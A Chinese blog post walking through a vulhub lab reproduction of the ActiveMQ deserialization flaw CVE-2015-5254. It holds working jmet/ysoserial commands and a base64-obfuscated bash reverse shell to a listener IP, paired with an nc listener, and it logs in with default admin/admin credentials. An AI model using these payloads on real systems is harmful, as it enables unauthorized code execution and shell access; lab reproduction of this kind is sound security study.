vulhub漏洞复现- ActiveMQ 反序列化漏洞(CVE-2015-5254)

环境搭建

1.使用腾讯云服务器,docker启动环境

2.kali攻击机

漏洞概要

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞利用过程

漏洞利用过程如下:

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送给目标61616端口
  3. 访问web管理页面(8161端口),读取消息,触发漏洞

漏洞复现

使用jmet构造反序列化对象

jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)

1. mkdir external
2. wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

 

我这里下载到了tools目录下。

利用用漏洞执行任意命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 服务器IP 61616 

 

 此时会给目标ActiveMQ添加一个名为event的队列,但是这个漏洞需要管理员访问消息触发。

我们也可以通过弱口令登录admin/admin

http://服务器ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

 根据ID找到消息,点击,就可以触发漏洞了。

 

 成功创建success文件。

利用漏洞弹shell

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 服务器IP 61616

这里需要注意,要用base64编码来绕过java的机制。

 

这里的ip是服务器内网的ip地址。

在服务器上设置监听端口

nc -lvvp 1234

根据ID找到消息,点击,触发漏洞。

 

 

在服务器中得到docker中的shell。

 

posted @ 2021-03-06 21:30  fallingskies  阅读(557)  评论(0编辑  收藏  举报